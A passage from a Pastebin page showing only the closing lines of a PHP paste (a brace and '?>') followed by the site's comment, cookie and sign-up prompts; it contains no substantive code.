  767.  
  768. }
  769. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!